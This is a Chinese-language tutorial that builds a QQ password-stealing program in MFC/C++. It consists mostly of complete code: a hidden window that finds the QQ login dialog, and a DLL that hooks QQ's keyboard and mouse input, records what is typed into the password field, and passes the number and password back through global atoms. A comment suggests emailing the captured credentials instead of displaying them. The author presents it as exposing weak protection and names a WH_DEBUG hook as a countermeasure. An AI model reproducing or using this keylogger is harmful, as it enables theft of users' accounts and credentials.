新版QQ客户端发布了,除了在界面上焕然一新外,QQ对密码的保护是否健全,是否真正维护了用户的合法权益呢?带着这个疑问,我做了一些尝试,结果很让人失望,通过很简单的编程手段即可编写一个盗取QQ密码的程序。下面讲述一下实现方法(不要怪我助纣为虐,毕竟,是只羊就别指望没有狼来吃你),同时这个程序也是一个很有价值的实例,其中包括钩子函数、DLL的数据共享、进程间通讯等。
程序包括两部分: DLL部分实现钩子函数,EXE部分实现辅助功能。
一、 EXE部分。
利用向导建立一个对话框实例,取名“QQGPS”。因为程序运行时不应有界面,所以要在这个实例的基础上进行改造。
删除对话框模板,对话框类的.h文件、.cpp文件及包含相应文件的#include语句。
利用向导从基类“CFrameWnd”派生新类“CMainWnd”。
添加函数BOOL CreateFrame();其代码如下:
BOOL CMainWnd::CreateFrame()
{
RECT rt={0,0,1,1};
BOOL ret=FALSE;
ret=CWnd::CreateEx(0,AfxRegisterWndClass(0),
"yafi",~WS_VISIBLE,rt,0,0);//创建一个不可见的窗口。
SetTimer(0,500,NULL);//创建定时器
return ret;
}
改写原有的CQQGPSApp::InitInstance函数。
BOOL CQQGPSApp::InitInstance()
{
CMainWnd*pWnd=new CMainWnd();
pWnd->CreateFrame();
m_pMainWnd=pWnd;
return TRUE;// 返回TRUE,开始消息循环。
}
到现在为止,已经生产出了一个框架,拥有消息处理功能,没有界面。下面再添加对定时器的消息处理函数。在QQ运行时该函数将查找其上面的两个编辑框的窗口句柄,并将其传递给DLL。
void CMainWnd::OnTimer(UINT nIDEvent)
{
// TODO: Add your message handler code here and/or call default
HWND hdlg=NULL,handle1=NULL,handle2=NULL,hID;
BOOL stop=0;
CString title;
int num=0;
while(!stop&&num<50)
{
handle1=::FindWindow("#32770",NULL);
if(handle1!=NULL)
{
handle2=::FindWindowEx(handle1,NULL,"Static",NULL);
::GetWindowText(handle2,title.GetBufferSetLength(20),20);
if(title=="QQ号码:")
{
stop=TRUE;
hdlg=handle1;
}
}
num++;
}
if(hdlg!=NULL) //此为QQ对话框的窗口句柄
{
stop=0;
num=0;
while(!stop&&num<50)
{
handle1=::FindWindowEx(hdlg,NULL,"ComboBox",NULL);
if(handle1!=0)
{
handle2=::FindWindowEx(handle1,NULL,"Edit",NULL);
if(handle2!=NULL)
{
hID=handle2;//此为号码编辑框窗口句柄
stop=TRUE;
}
}
}
if(stop)
{
stop=0;
num=0;
while(!stop&&num<50)
{
handle1=::FindWindowEx(hdlg,NULL,"Edit",NULL);
if(handle1!=0)//此为密码编辑框窗口句柄
{
stop=TRUE;
if(HookStart(this->m_hWnd ,handle1,hID))//DLL的导出函数
KillTimer(0);//发现QQ运行,启动钩子函数,关闭定时器
}
}
}
}
CFrameWnd::OnTimer(nIDEvent);
}
二、 DLL部分。
使用向导生成MFC AppWizard (DLL)实例,取名“QQGPD”。在头文件中添加代码。
#define QQGPD_API __declspec(dllexport)
QQGPD_API BOOL HookStart(HWND hWnd=NULL,HWND hWndCtlPW=NULL,HWND hWndCtlID=NULL);//导出函数,挂接构子
QQGPD_API BOOL HookStop();//导出函数,卸载钩子
在cpp文件顶端添加代码:
#pragma data_seg("Shared")
HHOOK g_hhookKey=NULL;
HHOOK g_hhookMouse=NULL;
HWND g_hWnd=NULL;
HWND g_hWndCtlPW=NULL;
HWND g_hWndCtlID=NULL;
#pragma data_seg()
#pragma comment(linker,"/SECTION:Shared,RWS")
CString g_strKey,g_strID;//DLL全局变量分别用于接收密码及号码
HINSTANCE g_hinstDll=NULL;// DLL全局变量记载DLL的实例句柄
这里有几行代码很奇怪#pragma data_seg("Shared") #pragma data_seg() #pragma comment(linker,"/SECTION:Shared,RWS") 他们的作用是使前两条语句之间的变量成为所有实例的共享数据。必须对他们赋初值。
详细说明一下,若他们为全局变量,当程序“QQGPS”运行时,“QQGPS”进程将加载DLL,并将三个参数传递给DLL。QQ客户端程序运行时,由于被挂接了钩子,也将加载DLL。好了,现在有两个DLL的实例,分别运行于两个不同进程的地址空间,在“QQGPS”进程中给DLL传递了参数,而在QQ客户端被加载的DLL的相应变量并未改变,事实上他们的值将是初始化时对他们赋的值。
以上方法同样适用于可执行文件,使多个可执行文件共享一个变量。
接下来添加导出函数:
BOOL HookStart(HWND hWnd ,HWND hWndCtlPW,HWND hWndCtlID)//挂结钩子
{
if(g_hhookKey!=NULL││g_hhookMouse!=NULL)
return 0;
g_hWnd=hWnd;//主窗口句柄
g_hWndCtlPW=hWndCtlPW;//密码编辑框窗口句柄
g_hWndCtlID=hWndCtlID;//号码编辑框窗口句柄
g_hhookKey=::SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyHookProc,g_hinstDll,::GetWindowThreadProcessId(hWndCtlPW,NULL));//为QQ挂接键盘钩子
g_hhookMouse=::SetWindowsHookEx(WH_MOUSE,(HOOKPROC)MouseHookProc,g_hinstDll,::GetWindowThreadProcessId(hWndCtlPW,NULL));// 为QQ挂接鼠标钩子
return (g_hhookKey!=NULL)&&(g_hhookMouse!=NULL);
}
BOOL HookStop()//卸载钩子
{
BOOL ret1=0,ret2=0;
if(g_hhookKey!=NULL)
ret1=::UnhookWindowsHookEx(g_hhookKey);
if(g_hhookMouse!=NULL)
ret2=::UnhookWindowsHookEx(g_hhookMouse);
g_hhookKey=NULL;
g_hhookMouse=NULL;
return ret1&&ret2;
}
下面两个为相应的钩子函数。
LRESULT MouseHookProc(int nCode,WPARAM wParam,LPARAM lParam)//鼠标钩子函数在点击“登录”按钮时发送信息
{
MOUSEHOOKSTRUCT *MouseInfo=(MOUSEHOOKSTRUCT*)lParam;
CString title,str;
CWnd wnd;
if((nCode==HC_ACTION)&&(wParam==WM_LBUTTONDOWN))
{
wnd.Attach(MouseInfo->hwnd);
wnd.GetWindowText(title);
wnd.Detach();
if(title=="登录")
{
if(g_strKey.GetLength()>0)
{
::SendMessage(g_hWndCtlID,WM_GETTEXT,20,(LPARAM)g_strID.GetBufferSetLength(20));//获取号码
str="号码:";
str+=g_strID;
str.ReleaseBuffer();
str+="密码:";
str+=g_strKey;
ATOM atom=::GlobalAddAtom(str.GetBuffer(0));//使用全局原子表进行进程间通讯
::PostMessage(g_hWnd,WM_GETPW,(WPARAM)atom,1);
}else
{
::PostMessage(g_hWnd,WM_GETPW,0,0);
}
g_strKey="/0";
}else if(title=="取消")
{
::PostMessage(g_hWnd,WM_GETPW,0,0);
g_strKey="/0";
}else if(title=="注册向导")
{
::PostMessage(g_hWnd,WM_GETPW,0,0);
g_strKey="/0";
}
}
return ::CallNextHookEx(g_hhookMouse,nCode,wParam,lParam);
}
LRESULT KeyHookProc(int nCode,WPARAM wParam,LPARAM lParam)//键盘钩子函数,拦截发送给密码框的键盘信息
{
BOOL bCap=((::GetKeyState(VK_CAPITAL)&0x01)!=0);
BOOL bShift=((::GetKeyState(VK_SHIFT)&0x8000)!=0);
char ch=1;
CString str;
if((nCode==HC_ACTION)&&(lParam&0x40000000)&&(::GetFocus()==g_hWndCtlPW))//只在按键盘(而非松开时)并且密码编辑框获得光标时执行以下代码
{
if((wParam==0x08)&&(g_strKey.GetLength()>0))//Backspace
{
g_strKey.Delete(g_strKey.GetLength()-1,1);
}else if(wParam>=0x41&&wParam<=0x5A)// a——z或A——Z
{
ch=::MapVirtualKey(wParam,2)&0xff;
g_strKey+=(char)(bCap^bShift ? ch : ch+32);
}else if(wParam>=0x30&&wParam<=0x39)// 0——9
{
ch=::MapVirtualKey(wParam,2)&0xff;
if(!bShift)
g_strKey+=ch;
else
{
switch(ch)
{
case '1':
g_strKey+='!';
break;
case '2':
g_strKey+='@';
break;
case '3':
g_strKey+='#';
break;
case '4':
g_strKey+='$';
break;
case '5':
g_strKey+='%';
break;
case '6':
g_strKey+='^';
break;
case '7':
g_strKey+='&';
break;
case '8':
g_strKey+='*';
break;
case '9':
g_strKey+='(';
break;
case '0':
g_strKey+=')';
break;
}
}
}else if((wParam>=0x60&&wParam<=0x69)&&((::GetKeyState(VK_NUMLOCK)&0x01)!=0))//小键盘0——9
{
ch=::MapVirtualKey(wParam,2)&0xff;
g_strKey+=ch;
}else if(wParam==0x20)//空格
{
g_strKey+=' ';
}else if(wParam==0xBA)
{
if(!bShift)
g_strKey+=';';
else
g_strKey+=':';
}else if(wParam==0xBB)
{
if(!bShift)
g_strKey+='=';
else
g_strKey+='+';
}else if(wParam==0xBC)
{
if(!bShift)
g_strKey+=',';
else
g_strKey+='<';
}else if(wParam==0xBD)
{
if(!bShift)
g_strKey+='-';
else
g_strKey+='_';
}else if(wParam==0xBE)
{
if(!bShift)
g_strKey+='.';
else
g_strKey+='>';
}else if(wParam==0xBF)
{
if(!bShift)
g_strKey+='/';
else
g_strKey+='?';
}else if(wParam==0xC0)
{
if(!bShift)
g_strKey+='`';
else
g_strKey+='~';
}else if(wParam==0xDB)
{
if(!bShift)
g_strKey+='[';
else
g_strKey+='{';
}else if(wParam==0xDC)
{
if(!bShift)
g_strKey+='/';
else
g_strKey+='│';
}else if(wParam==0xDD)
{
if(!bShift)
g_strKey+=']';
else
g_strKey+='}';
}else if(wParam==0xDE)
{
if(!bShift)
g_strKey+=(char)0x2e;
else
g_strKey+=(char)0x22;
}
::SendMessage(g_hWndCtlID,WM_GETTEXT,20,(LPARAM)g_strID.GetBufferSetLength(20));
}
if((nCode==HC_ACTION)&&(lParam&0x40000000))
{
if(wParam==0x0D)// ENTER键
{
if(g_strKey.GetLength()>0)
{
str="号码:";
str+=g_strID;
str.ReleaseBuffer();
str+="密码:";
str+=g_strKey;
ATOM atom=::GlobalAddAtom(str.GetBuffer(0)); //使用全局原子表进行进程间通讯。
::PostMessage(g_hWnd,WM_GETPW,(WPARAM)atom,1);
}
else
::PostMessage(g_hWnd,WM_GETPW,0,0);
g_strKey="";
}
}
return ::CallNextHookEx(g_hhookKey,nCode,wParam,lParam);
}
最后一步了,实现进程间消息的发送。
在DLL的头文件中添加代码#define WM_GETPW WM_APP+1,在“QQGPS”的“CMainWnd”类中添加相应的消息处理函数,以处理WM_GETPW消息。
LRESULT CMainWnd::GetPW(WPARAM wParam,LPARAM lParam)
{
CString str;
if(lParam)
{
::GlobalGetAtomName((ATOM)wParam,str.GetBufferSetLength(80),80);//题外话,利用原子表传送数据,对于相同的字符串,原字表名字符不分大小写。
::GlobalDeleteAtom((ATOM)wParam);
MessageBox(str);//以对话框的形式显示QQ号码及密码。若替换以函数,则可将密码发送至指定邮箱。
}
return HookStop();//卸载钩子
}
好了,正确链接头文件及库文件,运行可执行程序。打开QQ,输入号码及密码,击“ENTER”或鼠标点击“登录”。如果一切正确,就会弹出一个对话框显示QQ号码及密码。
作为国内用户群最为广大的实时网络通讯工具,QQ对密码的保护机制太脆弱了。当然,讯腾使用了一些防窃密机制,例如使用获取号码编辑框字符的方法就无法获取密码编辑框字符。然而,对“钩子”似乎没有做任何防备。其实,QQ只需要为自身挂接一个WH_DEBUG类型的钩子,以上方法就失效了,很可惜,讯腾没有这样做。虽然通过手机申请密码保护可从新获得被盗密码。个人隐私泄漏,也总不是件令人愉快的事。希望讯腾继续加强对密码的保护机制。